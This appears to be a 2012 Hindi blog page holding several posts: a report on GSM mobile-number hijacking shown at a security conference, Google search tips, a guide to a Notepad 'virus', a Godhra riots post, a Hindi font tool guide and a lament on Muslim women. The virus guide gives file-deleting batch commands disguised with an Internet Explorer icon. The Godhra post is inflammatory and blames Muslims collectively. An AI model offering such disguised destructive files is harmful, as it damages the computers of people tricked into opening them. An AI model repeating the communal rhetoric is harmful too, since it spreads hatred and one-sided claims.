मंगलवार, 22 मई 2012

सावधान ! कोई और तो नहीं इस्तेमाल कर रहा आपका मोबाइल फोन


क्या आपको पता है, आपकी जानकारी व अनुमति के बगैर आपका मोबाइल फोन न केवल हैक कर उससे की गई बातचीत व एसएमएस की जानकारी ली जा सकती है बल्कि उससे फोन काल व एसएमएस भी किए जा सकते हैं। और तो और इसके लिए हैकर्स को आपके फोन को हाथ लगाने की भी जरूरत नही पड़ेगी। हैकर्स सात समुंदर पार बैठकर भी भारतीय मोबाइल फोन धारकों के फोन व नंबर को मनचाहे तरीके से इस्तेमाल कर सकते हैं। अफसोस कि ऐसी स्थिति किसी नई तकनीकी के अविष्कार की वजह से नहीं बल्कि मोबाइल सेवा प्रदाता कंपनियों की लापरवाही के कारण उत्पन्न हुई है। पणजी में साईबर विशेषज्ञों के एक दल ने सर्विस आपरेटरों के सुरक्षित सेवा प्रदान करने के दावों की पोल खोलकर रख दी है। इसके साथ ही विशेषज्ञों ने आतंकवाद की समस्या झेल रहे देश द्वारा पर्याप्त बंदोबस्तों के दावों को भी आईना दिखा दिया है।
साइबर विशेषज्ञों ने रक्षा और खुफिया अधिकारियों एवं नैतिक हैकरों से भरी सभा में मीडिया की उपस्थिति में एक छोटे से उपकरण की सहायता से कइयों के मोबाइल फोन का इस्तेमाल कर सबको चौंका दिया। इस पूरे प्रजेंटेशन के दौरान उन्होंने न तो उपभोक्ता के मोबाइल फोन का प्रयोग किया और न ही सिम का। यहां तक कि मोबाइल धारक को भी यह पता नहीं चला कि उसका फोन इस्तेमाल में लाया जा रहा है। ऐसा मोबाइल नेटवर्क आपरेटर कंपनी की अत्यंत छोटी सी लगने वाली लापरवाही को उजागर करते हुए किया। मजे की बात तो यह है कि फोन के इस्तेमाल का प्रदर्शन विशेषज्ञों ने किसी खास नेटवर्क आपरेटर के उपभोक्ता के साथ नहीं बल्कि सभी कंपनियों के उपभोक्ताओं के साथ किया। विशेषज्ञों द्वारा किसी के भी मोबाइल फोन को हैक करने, उससे एसएमएस व काल करने तथा फोन के डिटेल आदि प्राप्त करने के इस प्रदर्शन ने न केवल वहां मौजूद लोगों को हतप्रभ कर दिया बल्कि सुरक्षा एजेंसियों के माथे पर भी चिंता की लकीरें पैदा कर दीं।
पणजी में साइबर विशेषज्ञों के एक समूह ने एक सम्मेलन में लोगों को यह दिखाकर आश्चर्यचकित कर दिया कि जीएसएम मोबाइल नेटवर्क का गलत इस्तेमाल हो सकता है। उन्होंने दिखाया कि कितनी आसानी से हैकर उपभोक्ता की जानकारी के बगैर भी उसके मोबाइल नंबर का किसी भी तरह प्रयोग कर सकते हैं। मैट्रिक्स सेल ने एक प्रमुख मोबाइल सेवा प्रदाता के नेटवर्क पर हैकरों की तकनीक का जीवंत प्रदर्शन किया। इसमें उन्होंने एक श्रोता के नंबर का उपयोग कर फोन किया। इस पूरे प्रजेंटेशन में उन्होंने न तो श्रोता के मोबाइल का प्रयोग किया और न ही सिम का। साइबर सुरक्षा विशेषज्ञों, रक्षा और खुफिया अधिकारियों एवं नैतिक हैकरों के सम्मेलन नूलकॉन में जीएसएम सेवा प्रदाताओं की कमजोरियों का बखान करते हुए समूह ने दावा किया कि अधिकतर दूरसंचार नेटवर्क इनक्रिप्टेड सिग्नल नहीं हैं। अंतरराष्ट्रीय स्तर पर यह आम बात है। समूह के एक सदस्य आकिब ने कहा कि अन्य मुद्दा कॉल करते समय मोबाइल नेटवर्क द्वारा उपभोक्ता के सत्यापन का है।
बहरहाल भारतीय सेल्युलर ऑपरेटर्स संगठन के महानिदेशक राजन मैथ्यूज के मुताबिक यह असामान्य नहीं है। यह किसी भी ऑपरेटर के साथ हो सकता है। ऑपरेटरों के नेटवर्क को तीसरा पक्ष संभालता है। इस तीसरे पक्ष में वैश्विक खिलाड़ी (आइबीएम, एनएसएन) हैं। ऑपरेटरों के पास अपने नेटवर्क में किसी भी घुसपैठ का पता लगाने के तरीके और प्रोटोकॉल हैं। उन्होंने बताया कि जब भी ऐसी बातें होती हैं तो संज्ञान में इसे लाने के लिए कस्टमर भी फोन करते हैं। इसलिए ऐसी स्थितियों को संभालने के लिए ऑपरेटर भी सुसज्जित होते हैं। उन्होंने कहा कि हर मोबाइल में आइएमइआइ नंबर होता है और सिम का अपना आइएमएसआइ नंबर होता है। कस्टमर की पहचान छिपाने के लिए ऑपरेटर आइएमएसआइ को एक टेंपरेरी नंबर टीएमएसआइ देता है। अंतरराष्ट्रीय नियमों के मुताबिक इस टीएमएसआइ को हर कॉल और एसएमएस पर बदला जाना चाहिए। हालांकि अधिकतर ऑपरेटर ऐसा नहीं करते। साइबर विशेषज्ञों ने ऑपरेटरों के नाम का खुलासा करने से इंकार कर दिया। विशेषज्ञों ने कहा कि अगर टीएमएसआइ को बदला नहीं जाता तो एक छोटे से उपकरण की मदद से कोई भी हैकर आसानी से मोबाइल नंबर को अपने कब्जे में ले सकता है। इसके अलावा जीएसएम ऑपरेटर इनक्रिप्शन तकनीक का इस्तेमाल भी सही तरीके से नहीं कर रहे हैं। यह भी जीएसएम नेटवर्क के लिए खतरा है। इस हैकिंग के दौरान उपभोक्ता को मालूम ही नहीं चलता कि उसका सिम कहीं और इस्तेमाल हो रहा है।  
साभार '- अविनाश चंद्र

सोमवार, 21 मई 2012

गूगल सर्च इंजिन का प्रयोग


गूगल सर्च इंजिन का प्रयोग

गूगल सर्च इंजिन का प्रयोग तो अवश्य ही आप सभी करते होंगे
किन्तु आप में से बहुत से लोगों को शायद ही यह जानकारी होगी कि
गूगल सर्च इंजिन में बहुत सारी विशिष्टताएँ भी हैं। तो आइये जानें उन विशिष्टताओं के बारे में!

गूगल सर्च इंजिन को केलकुलेटर के तौर पर प्रयोग करें

          सर्च बॉक्स में कोई भी गणितीय एक्सप्रेसन टाइप करें जैसे कि – 5*23 + 3*44 – 87
[गूगल सर्च इंजन जोड़ (+), घटाना (-), गुणा (*), भाग (/), घात (^), और वर्गमूल (sqrt) की गणना कर सकता है।]
परिभाषाएँ जानिये

          सर्च बॉक्स में इस प्रकार से टाइप करें – define: website


गूगल सर्च इंजिन को एक परिवर्तक के तौर पर प्रयोग करें
 
किलोमीटर को मील में बदलने के लिये:


        सर्च बॉक्स में इस प्रकार से टाइप करें – 10 km in mile


    फैरनहीट को सेल्सियश में बदलने के लिये:


        सर्च बॉक्स में इस प्रकार से टाइप करें – 25F to C


    इंच को सेंटीमीटर में बदलने के लिये:


        सर्च बॉक्स में इस प्रकार से टाइप करें – 5 inch in cm


    किसी इलाके का समय जानिये


        सर्च बॉक्स में इस प्रकार से टाइप करें – what time is it Raipur


    दो देशों की करेंसी की तुलना कीजिये


        सर्च बॉक्स में इस प्रकार से टाइप करें – 1 usd in inr



    मौसम का विवरण जानिये


        सर्च बॉक्स में इस प्रकार से टाइप करें – Raipur weather


    फ्लाइट स्टेटस पता करें


        सर्च बॉक्स में इस प्रकार से टाइप करें – name of airlinne flight number

नोटपेड के माध्यम से बनाईये वायरस


नोटपेड के माध्यम से बनाईये वायरस

१. नोटपेड खोलिए और लिखें "del system32"
२. फिर एंटर बटन दबाए और लिखें "del windows"
३. इस फाइल को सेव करें save as tpye all files में virus.bat के नाम से |




४. इसे रिनेम कर लिखें Internet Explorer |
५. फिर फाइल को राइट क्लिक करें और प्रोपर्टी में जाएँ |
६. फिर Change icon पे क्लिक करे और Internet Explorer का इकोन सेट करें |
७. आपका वायरस तेयार है |

जब भी इस फ़ाइल पे डबल क्लीक करेंगे तो ये del system32 को डीलीट कर देगा |

बुधवार, 16 मई 2012

गोधरा काण्‍ड का सच

एक सच्‍चाई 


गोधरा कांड कि इश सच्चाई को आग कि तरह फैलाव, ताकि सच्चाई सबतक पहुँच सके, 

क्या आप सचमुच में जानते हैं कि..... गुजरात दंगे का सच क्या है.....?????? यह सच हर हिंदू को पता होना चाहिए... एक बार इसे पढ़े जरुर..... दरअसल ..... आज जहाँ देखो वहाँ गुजरात के दंगो के बारे में ही सुनने और देखने को मिलता है... फिर चाहे वो गूगल हो या फेसबुक .. हो या फिर टीवी...! रोज नए-नए खुलासे हो रहे हैं..... रोज गुजरात की सरकार को कटघरे में खड़ा किया जाता है...! असल में..... सबका निशाना केवल एक नरेन्द्र भाई मोदी.....क्योंकि, वे हम हिन्दुओं के चहेते हैं... जिस कारण मुस्लिम तथा सेकुलर जी- जान से इस काम में जुटे हैं...! जिसे देखो... वो अपने को जज दिखाता है.... हर कोई सेकुलरता के नाम पर एक ही स्वर में गुजरात दंगो की भर्त्सना करते हैं..... हालाँकि, मै भी दंगो को गलत मानता हूँ क्योंकि दंगे सिर्फ दर्द दे कर जाते हैं ...! लेकिन...... सबसे बड़ा सवाल यह है कि.....गुजरात दंगा हुआ क्यों..........? 27 फरवरी २००२ को साबरमती ट्रेन के S6 बोगी को गोधरा रेलवे स्टेशन से करीब 826 मीटर की दुरी पर जला दिया गया था....जिसमे 57 मासूम, निहत्थे और निर्दोष हिन्दू कारसेवकों की मौत हो गयी थी... ! प्रथम द्रष्टा रहे वहाँ के 14 पुलिस के जवान जो उस समय स्टेशन पर मौजूद थे.. और उनमे से 3 पुलिस वाले घटना स्थल पर पहुंचे और साथ ही पहुंचे अग्नि शमन दल के एक जवान सुरेशगिरी गोसाई जी....! अगर हम इन चारो लोगों की मानें तो "म्युनिसिपल काउंसिलर हाजी बिलाल" भीड़ को आदेश दे रहे थे.... ट्रेन के इंजन को जलाने का......! साथ ही साथ.... जब ये जवान आगबुझाने की कोशिश कर रहे थे..... तब भीड़ के द्वारा ट्रेन पर पत्थरबाजी चालू कर दी गई ......! अब इसके आगे बढ़ कर देखें तो.... जब गोधरा पुलिस स्टेशन की टीम पहुंची तब 2 लोग 10 ,000 की भीड़ को उकसा रहे थे.... ये थे म्युनिसिपल प्रेसिडेंट मोहम्मद कलोटा और म्युनिसिपल काउंसिलर हाजी बिलाल.....!अब सवाल उठता है कि..... मोहम्मद कलोटा और हाजी बिलाल को किसने उकसाया और ये ट्रेन को जलाने क्यों गए......????? सवालो के बाढ़ यही नहीं रुकते हैं..... बल्कि सवालो की लिस्ट अभी काफी लम्बी है...... अब सवाल उठता है कि .... क्यों मारा गया ऐसे राम भक्तो को......??? कुछ मीडिया ने बताया की ये मुसलमानों को उकसाने वाले नारे लगा रहे….अब क्या कोई बताएगा कि .....क्या भगवान राम के भजन मुसलमानों को उकसाने वाले लगते हैं......????? लेकिन इसके पहले भी एक हादसा हुआ 27 फ़रवरी 2002 को सुबह 7 .43 मिनट 4 घंटे की देरी से जैसे ही साबरमती ट्रेन चली और प्लेटफ़ॉर्म छोड़ा तो... प्लेटफ़ॉर्म से 100 मीटर की दुरी पर ही 1000 लोगो की भीड़ ने ट्रेन पर पत्थर चलाने चालू कर दिए .....! पर, यहाँ रेलवे की पुलिस ने भीड़ को तितर- बितर कर दिया और ट्रेन को आगे के लिए रवाना कर दिया.....! लेकिन, जैसे ही ट्रेन मुश्किल से 800 मीटर चली...... अलग-अलग बोगियों से कई बार चेन खींची गई....! बाकी की कहानी जिस पर बीती उसकी जुबानी.......... उस समय मुश्किल से से 15-16 की बच्ची की जुबानी......... ये बच्ची थी कक्षा 11 में पढने वाली गायत्री पंचाल जो कि उस समय अपने परिवार के साथ अयोध्या से लौट रही थी .... उसकी मानें तो... ट्रेन में राम धुनचल रहा था और ट्रेन जैसे ही गोधरा से आगे बढ़ी ..... एक दम से चेन खींच कर रोक दिया गया ...! उसके बाद देखने में आया कि ... एक भीड़ हथियारों से लैस हो कर ट्रेन की तरफ बढ़ रही है.....! हथियार भी कैसे....... लाठी- डंडा नहीं बल्कि.... तलवार, गुप्ती, भाले, पेट्रोल बम्ब, एसिड बम और पता नहीं क्या क्या.........! भीड़ को देख कर ट्रेन में सवार यात्रियों ने खिड़की और दरवाजे बंद कर लिए.......! पर भीड़ में से जो अन्दर घुस आए थे ...वो कार सेवको को मार रहे थे और उनके सामानों को लूट रहे थे और साथ ही बाहर खड़ी भीड़ मारो -काटो के नारे लगा रही थी....! एक लाउड स्पीकर जो कि पास के मस्जिद पर था........... उससे बार बार ये आदेश दिया जा रहा था कि ..... “मारो... काटो.. लादेन ना दुश्मनों ने मारो” ! इसके साथ ही.... साथ ही बहार खड़ी भीड़ ने पेट्रोल डाल कर आग लगाना चालू कर दिया... जिससे कोई जिन्दा ना बचे....! ट्रेन की बोगी में चारो तरफ पेट्रोल भरा हुआ था....! दरवाजे बाहर से बंद कर दिए गए थे , ताकि कोई बाहर ना निकल सके...! एस-6 और एस-7 के वैक्यूम पाइप काट दिए गए थे ...... ताकि ट्रेन आगे बढ़ ही नहीं सके......! जो लोग जलती ट्रेन से किसी प्रकार बाहर निकल भी गए तो.... उन्हें तेज हथियारों से काट दिया गया .... कुछ गहरे घाव की वजह से वहीँ मारे गए और कुछ बुरी तरह घायल हो गए....! अब सवाल उठता है कि.... हिन्दुओं ने सुबह 8 बजे ही दंगा क्यों नहीं शुरू कर किया बल्कि हिन्दू उस दिन दोपहर तक शांत बना रहा (ये बात आज तक किसी को नहीं दिखी है)....???????? असल में..... हिन्दुओं ने जवाब देना तब चालू किया जब उनके घरों , गावों , मोहल्लो में वो जली और कटी फटी लाशें पहुंची......! क्या ये लाशें हिन्दुओं को को मुसलमानों की तरफ से गिफ्ट थी जो हिन्दुओं को शांत बैठना चाहिए था .....सेकुलर बन कर ??????? हिन्दू सड़क पर उतरे 27 फ़रवरी 2002 की दोपहर से.....! पुरे एक दिन हिन्दू शांति से घरो में बैठे रहे....| @@@@@ अगर वो दंगा हिन्दुओं ने या मोदी ने करना था तो 27 फ़रवरी 2002 की सुबह 8 बजे से ही क्यों नहीं चालू हुआ....??? जबकि मोदी ने 28 फ़रवरी 2002 की शाम को ही आर्मी को सडको पर लाने का आदेश दिया जो कि अगले ही दिन १ मार्च २००२ को हो गया और सडको पर आर्मी उतर आयी ..... गुजरात को जलने से बचाने के लिए....! पर भीड़ के आगे आर्मी भी कम पड़ रही थी तो १ मार्च २००२ को ही मोदी ने अपने पडोसी राज्यों से सुरक्षा कर्मियों की मांग करी...! ये पडोसी राज्य थे महाराष्ट्र (कांग्रेस शासित- विलास राव देशमुख -मुख्य मंत्री), मध्य प्रदेश (कांग्रेस शासित- दिग्विजय सिंह -मुख्य मंत्री), राजस्थान (कांग्रेस शासित- अशोक गहलोत- मुख्य मंत्री) और पंजाब (कांग्रेस शासित- अमरिंदर सिंह मुख्य मंत्री) ...! क्या कभी किसी ने भी.......... इन माननीय मुख्यमंत्रियों से एक बार भी पुछा है कि ........ अपने सुरक्षाकर्मी क्यों नहीं भेजे गुजरात में जबकि गुजरात ने आपसे सहायता मांगी थी..........??????? या ये एक सोची समझी गूढ़ राजनितिक विद्वेष का परिचायक था.... इन प्रदेशो के मुख्यमंत्रियों का गुजरात को सुरक्षा कर्मियों का ना भेजना...???? उसी 1 मार्च 2002 को हमारे राष्ट्रीय मानवाधिकार (National Human Rights) वालो ने मोदी को अल्टीमेटम दिया ३ दिन में पुरे घटनाक्रम का रिपोर्ट पेश करने के लिए ...! लेकिन... कितने आश्चर्य की बात है कि... यही राष्ट्रीय मानवाधिकार वाले २७ फ़रवरी २००२ और २८ फ़रवरी २००२ को गायब रहे ..... इन मानवाधिकार वालो ने तो पहले दिन के ट्रेन के फूंके जाने पर ये रिपोर्ट भी नहीं माँगा कि क्या कदम उठाया गया गुजरात सरकार के द्वारा...! एक ऐसे ही सबसे बड़े घटना क्रम में दिखाए गए या कहे तो बेचे गए........ “गुलबर्ग सोसाइटी” के जलने की....... इस गुलबर्ग सोसाइटी ने पुरे मीडिया का ध्यान अपने तरफ खींच लिया | यहाँ एक पूर्व सांसद एहसान जाफरी साहब रहते थे......! इन महाशय का ना तो एक भी बयान था २७ फरवरी २००२ को और ना ही ये डरे थे उस समय तक.......! लेकिन...... जब २८ फरवरी २००२ की सुबह जब कुछ लोगो ने इनके घर को घेरा जिसमे कुछ कुछ तथाकथित मुसलमान भी छुपे हुए थे..... तो एहसान जाफरी जी ने भीड़ पर गोली चलवा दिया ........ अपने लोगो से जिसमे 2 हिन्दू मरे और 13 हिन्दू गंभीर रूप से घायल हो गए.....! जब इस घटनाक्रम के बाद इनके घर पर भीड़ बढ़ने लगी तो ये अपने यार-दोस्तों को फ़ोन करने लगे और तभी गैस सिलिंडर के फटने से कुल 42 लोगों की मौत हो गयी....! यहाँ शायद भीड़ के आने पर ही एहसान साहब को पुलिस को फ़ोन करना चाहिए था ना कि खुद के बन्दों के द्वारा गोली चलवाना चाहिए था....! पर इन्होने गोली चलाने के बाद फ़ोन किया डाइरेक्टर जेनेरल ऑफ़ पुलिस (DGP ) को......! यहाँ एक और झूठ सामने आया..... जब अरुंधती रॉय जैसी लेखिका तक ने यहाँ तक लिख दिया कि ... एहसान जाफरी की बेटी को नंगा करके बलात्कार के बाद मारा गया और साथ ही एहसान जाफरी को भी.....! लेकिन..... यहाँ एहसान जाफरी के बड़े बेटे ने ही पोल खोल दी कि .... जिस दिन उसके पिता की जान गई उस दिन उसकी बहन तो अमेरिका में थी और अभी भी रहती है.....! तो यहाँ.......... कौन किसको झूठे केस में फंसाना चाह रहा है ये साफ़ है....! अब यहाँ तक तो सही था.............. पर............. गोधरा में साबरमती को कैसे इस दंगे से अलग किया जाता और हिन्दुओं को इसके लिए आरोपित किया जाता ...! इसके लिए लोग गोधरा के दंगे को ऐसे तो संभाल नहीं सकते थे ...अपने शब्दों से.... तो एक कहानी प्रकाश में आई.....! कहानी थी कि .... कारसेवक गोधरा स्टेशन पर चाय पीने उतरे और चाय देने वाला जो कि एक मुसलमान था उसको पैसे नहीं दिए… जबकि गुजराती अपनी ईमानदारी के लिए ही जाने जाते हैं…! चलिए छोडिये ये धर्मान्धो की कहानी में कभी दिखेगा ही नहीं.... आगे बढ़ते हैं...| अब कारसेवको ने पैसा तो दिया नहीं बल्कि मुसलमान की दाढ़ी खींच कर उसको मारने लगे तभी उस बूढ़े मुसलमान की बेटी जो की 16 साल की बताई गई वो आई तो कारसेवको ने उसको बोगी में खींच कर बोगी का दरवाजा अन्दर से बंद कर लिया ..! और इसीके के प्रतिफल में....... मुसलमानों ने ट्रेन में आग लगा दी और 58 लोगो को मार दिया..... जिन्दा जलाकर या काट कर.....! अब अगर इस मनगढ़ंत कहानी को मान भी लें तो कई सवाल उठते हैं:- क्या उस बूढ़े मुसलमान चाय वाले ने रेलवे पुलिस को इत्तिला किया...??????? रेलवे पुलिस उस ट्रेन को वहाँ से जाने नहीं देती या लड़की को उतार लिया जाता..... उस बूढ़े चाय वाले ने 27 फ़रवरी 2002 को कोई FIR क्यों नहीं दाखिल किया...????? 5 मिनट में ही सैकड़ो लीटर पेट्रोल और इतनी बड़ी भीड़ आखिर जुटी कैसे....???????? सुबह 8 बजे सैकड़ो लीटर पेट्रोल आखिर आया कहाँ से...................?????????एक भी केस 27 फ़रवरी २००२ की तारीख में मुसलमानों के द्वारा क्यों नहीं दाखिल हुआ..........??????? अब रेलवे पुलिस कि जांच में ये बात सामने आई कि ...... उस दिन गोधरा स्टेसन पर कोई ऐसी घटना हुई ही नहीं थी...! ना तो चाय वाले के साथ कोई झगडा हुआ था और ना ही किसी लड़की के साथ में कोई बदतमीजी या अपहरण की घटना हुई.....! इसके बाद आयी नानावती रिपोर्ट में कहा गया है कि .... जमीअत-उलमा-इ-हिंद का हाथ था उन 58 लोगो के जलने में और ट्रेन के जलने में....! उससे भी बड़ी बात कि.....दंगे में 720 मुसलमान मरे तो 250 हिन्दू भी मरे.....! मुसलमानों के मरने का सभी शोक मनाते हैं........चाहे वो सेकुलर हिन्दू हो.... चाहे वो मुसलमान हो या चाहे वो राजनेता या मीडिया हो ! पर दंगे में 250 मरे हुए हिन्दुओं और साबरमती ट्रेन में मरे ५८ हिंदुवो को कोई नहीं पूछता है....कोई बात तक नहीं करता है ..! सभी को केवल मरे हुए मुसलमान ही दिखते हैं...! एक और बात काबिले गौर है क्या किसी भी मुस्लिम लीडर का बयान आया था साबरमती ट्रेन के जलने पर....??????? क्या किसी मुस्लिम लीडर ने साबरमती ट्रेन को चिता बनाने के लिए खेद प्रकट किया.....????????? इसीलिए सच को जानिए...... और जो भी गुजरात दंगे की बात करे अथवा नरेन्द्र मोदी के बारे में बोले....... उसे उसी की भाषा में जबाब दें....! गुजरात दंगा..... मुस्लिमों के द्वारा शुरू किया गया था..... और हम हिन्दुओं को उनसे इस बात का जबाब मांगना चाहिए..... और उन्हें जिम्मेदार ठहराना चाहिए....! अथवा... क्या वे लाशें हिन्दुओं को को मुसलमानों की तरफ से गिफ्ट थी जो हिन्दुओं को शांत बैठना चाहिए था .....?????? जय महाकाल...!!! स्रोत: जय हिंद -हिन्दू भारत का लेख... dated 2 may 2012 नोट: इस पोस्ट को इतना शेयर करें कि..... मुस्लिमों और सेकुलरों की बोलती बंद हो जाए..... तथा हिन्दुओं के बच्चे-बच्चे की जुबान पर ये सच आ जाये...... तभी हम नरेन्द्र भाई मोदी के दुश्मनों को मुंहतोड़ जबाब दे पाएंगे

युनिकोड इन्डिक (हिन्‍दी औजार)


युनिकोड इन्डिक (हिन्‍दी औजार) को प्राप्‍त करने के लिए यहां पर चटका लगायें  इसके बाद हिन्‍दी उपकरण सेटअप फाईल को डाउनलोड कर उस पर दो बार चटका लगाएं तथा दिए गए निर्देशों के अनुसार आगे बढ.ें इस प्रकार से यह औजार आपके संगणक में स्‍थापित हो जायेगा
अब आप अपने संगणक पर हिन्‍दी फोंट का उपयोग प्रारंभ् कर सकते हैं
अब सेटिग के लिए
सबसे पहले विन्‍डोस् लोगो कुंजी के साथ "R" दबाएं खुलने वाले अक्षर बाक्‍स में "control" लिखकर एन्‍टर कुन्‍जी दबायें

इसके बाद "Regional and Langauge" आईकन पर पर चटका लगा दें

अब "Lengauge " पर चटका लगा दें


सोमवार, 14 मई 2012

मुस्लिम स्त्रियों की कष्‍टप्रद ब्‍यथा


अल्लाह हमें रोने दो 
ओ अल्लाह तुम तो हमें अकेले में चीखने दो और जोर जोर से रोने दो । कहीं एकान्त में हमारा दम ही न निकल जाए । बुरके की घुटन में लोक जीवन की चारदीवारी में हमें इतना जी भर के रो लेने दो कि हमारी आखों में एक भी आंसू बाकी न बचे । हमें इतना रोने दो कि उसके बाद रोने की ताकत ही न रहे । क्यों केवल एक ही अधिकार तुमने मुसलमान महिलाओं के लिए छोड़ा है । पूरे मुस्लिम संसार में उलट पुलट हो रहे हैं पर हम मुसलमान तो वही पुराने ढर्रे पुराने संस्कारों की बेड़ियों में जकड़े हुएहैं । पूरे संसार की नारियों के लिए मुक्ति आंदोलन चले और आज वह स्वतंत्रता के मुक्त वातावरण में सांस ले रही हैं । परन्तु वाह रे हमारा भाग्य! मुस्लिम समाज की महिलाओं की मुक्ति का एक भी स्वप्न संसार के किसी कोने से नहीं फूटा । हमारी मुक्ति के लिए कोई भी समाज सुधारक, चिन्तक, कोई नेता व कोई भी धार्मिक व्यक्ति आगे नहीं आया । या अल्लाह ! कितना अदभुत है हमारा मुस्लिम समाज जिसमें कोई शरत चन्द्र पैदा नहीं हुआ जो हमारे आसुंओं का हिसाब चुकता कर दे । बदरूद्दीन तैयबजी, हमीद दलवई आदि प्रसिद्ध विद्वानों ने गो हत्या बंद हो इस पक्ष में निबंध लिखे परन्तु हमारे लिए सहानुभूति का एक भी अक्षर हलक से नहीं फूटा । अब्दुल जब्बार ने हिजड़ों के दुख के बारे में तो एक मोटी पुस्तक लिख डाली परन्तु हमारे लिए एक भी शब्द उनके शब्दकोष से नहीं फूटा । सैय्यद मुस्तफा सिराज ने तो लिख ही डाला कि हिन्दू समाज अपने लोगों के दोषों और त्रुटियों को लेकर स्वतंत्रता पूर्वक लिख सकते हैं परन्तु हम लोग अपने समाज के बारे में लिखने से डरते हैं । हमारे विचारक भी मुस्लिम मुल्ला , मौलवियों से डरे हुए , सहमें हुए से एक शब्द भी नहीं कह पाते । खासतौर से एक मुस्लिम विवाह कानून को लेकर अगर कुछ ने लिखना भी शुरु कर दिया जैसे कि नरगिस सत्तार साहब की हमें आषा की एक किरण फूटती सी दिखाई तो दी पर अफसोस ! उसके वाद फिर वही घोर अंधकार , गहरी काली स्याही व एक लंबी चुप्पी । पिछले कई सालों से संसार के कई हिस्सों में कई परिवर्तन हुए । विवाह कानून में कई तब्दीलियां हुई कई नई वैज्ञानिक खोजों और चिन्तनों ने पुराने रूढ़ियों को छोड़ने को मजबूर कर दिया लेकिन मुस्लिम समाज वही पुरानी रूढ़िवादियों मे अटका हुआ है । लाहौर में सहस्रों स्त्रियों महिला कानून विदों ने जब मुस्लिम महिलाऒं के अधिकारों को लेकर जुलूस निकाला तो पुरूष पुलिस ने भयंकर लाठी चार्ज करके उसे भंग कर दिया । एक बार भारत की पारलियामैन्ट में मुस्लिम महिलाऒं के अधिकारों को लेकर डीबेट रखी गयी। ए डी एम के की पार्टी के मुस्लिम सांसदों द्वारा इस प्रश्न को उठाया गया पर मुस्लिम वोट खो देने के भय से देश की सब राजनैतिक पार्टियों को सांप सूंघ गया । सबके सब गूगें बहरे हो गए । क्या अजीब जीव है अल्लाह ? यह राजनैतिक पार्टी के नेता व कार्यकर्ता । ऐसा लगता है जैसे इन सबकी जुबान को लकवा मार गया हो ।
ओ अल्लाह ! यह राजनैतिक पार्टियों के नेता और कार्यकर्ता सुल्तानों के बनाए हुए खोजीयों हिजड़ों से भी नीच व निकृष्ट जीव हैं । खोजी लोग वह होते थे जो सुल्तानों द्वारा उनकी काम वासनाओं को पूरा करने के लिए सुन्दर स्त्रियों के बीच रहते हुए भी उनका भोग नहीं कर सकते थे । उन सुंदर स्त्रियों को देख कर वह मजबूरी में मन मसोस कर रह जाते थे क्योंकि हरम की स्त्रियों को बुरी नजर से देखना उनकी मौत का न्यौता देने के बराबर होता था । ऐसे ही आज के नेता केवल दिखावे के लिए समाज सुधारक बनते थे अन्दर से उनकी निगाहें स्त्रियों के बदन को निहारती रहती है । यदि वे मुस्लिम स्त्रियों कि उत्थान की बात भी करते हैं तो केवल छलावा मात्र होता है । करके दिखाने की शक्ति उनमें नाम मात्र की भी नहीं होती है । इसलिए आज मुस्लिम स्त्रियों का आकुल क्रंदन चालू है । और शायद युगयुगान्तर तक रहेगा । यह राजनैतिक तुच्छ जीव ऊंची आवाज में मधुर मधुर सुन्दर महान शब्दों मे स्वाधीनता , साम्यता व समान अधिकारों जैसे शब्दों का प्रयोग तो करते हैं परन्तु वह वोटों के लालची मुस्लिम स्त्रियों के उत्थान में एक एक भी पग नहीं उठाते । वाह कितनी सुन्दर शब्दावली का प्रयोग करते हैं मानों आज ही मुस्लिम स्त्री समाज की नैया पार लगा देगें । परन्तु उनके भाग्य में तो आंसू के दरिया में डूबना ही लिखा है । आंसू ही उनका भाग्य है जैसे संसार का तीन हिस्सा पानी है और एक हिस्सा पृथ्वी है ऐसा ही मुस्लिम समाज की महिलाओं का जीवन गर्दन तक आंसुओं में डूबा है । हिम्मत तो देखिए पुरूष समाज का ८० वर्ष का शेख कांपते हुए सिर वाला डगमगाते हुए कदमों वाला घर में ५ बीबियां होते हुए भी भारत में आ रहा है केवल १३, १४ वर्ष की लड़की से विवाह रचाने और वह लाचार लड़की पुरुषों द्वारा संचालित समाज में न चाहते हुए भी बूढ़े खूंसट के साथ अरब देश में पहुंच जाती है । इस प्रकार की दिल दहला देने वाली घटनाओं । आए दिन समाचार पत्रों में पढ़कर मुस्लिम महिलाओं की रूह कांप जाती है पर बेचारगी पर आंसू बहाने के सिवाय उनके पास कोई चारा नहीं । मुस्लिम महिला की घुटन भरी जिन्दगी ऐसी खबरों को पढ़ कर घर के अन्धेरे कोनों में सुबक कर रोने में ही बीत जाती है । कोई एक भी तो उनकी नहीं सुनता उनकी सिसकियों भरी आवाज । न घर में न घर के बाहर न भाई न पिता न मस्जिद न मुल्ला मौलवी न नेता न समाज सुधारक सब के सब मौन । कोई भी तो मौलवी ऐसी घटना के विरुद्ध फतवा जारी नहीं करता । उल्टा पाशविक धार्मिकता की आड़ में स्त्री तो पुरुष के पांव की जूती, बच्चा पैदा करने वाली मशीन पुरुष की भोग्या ऐसी धारणाओं की बलिवेदी पर परवान हो जाती है । चार पांच सौतों के साथ जीवन कितना नारकीय बन जाता है यह तो केवल भोगने वाला ही जान सकता है । किसी मौलवी का जिहाद ऐसी कुप्रथा के विरुद्ध क्यों नहीं चलता उल्टा मुल्ला साहिब इसको मुता विवाह का नाम देकर अपना धार्मिक कर्मकाण्ड करता है । यह मुता विवाह है क्या ? केवल थोड़े समय के लिए शादी फिर तलाक तलाक तलाक । असंख्य अस्वस्थ रहन सहन, दारिद्रय, अशिक्षा ने हमारे समाज को उजाड़ बना दिया है । भेड़ बकरी और जानवरों के समान हमारी जिन्दगी, बीबियों के बीच प्रायः धक्का मुक्की, केश केशी व जूतमपैजार होती ही रहती है । मियां साहब अगर घर में हो तो बात ही क्या ? दोनों की ही ढोर ( जानवरों ) के समान पिटाई होती है । और उसके बाद तीसरी को लेकर मियां साहब दरवाजा बन्द करके अपने सोने वाले कमरे में पहुंच जाते हैं । हे अल्लाह ! ऐसा कैसा जीव बदा है तुमने हमारे लिए ।
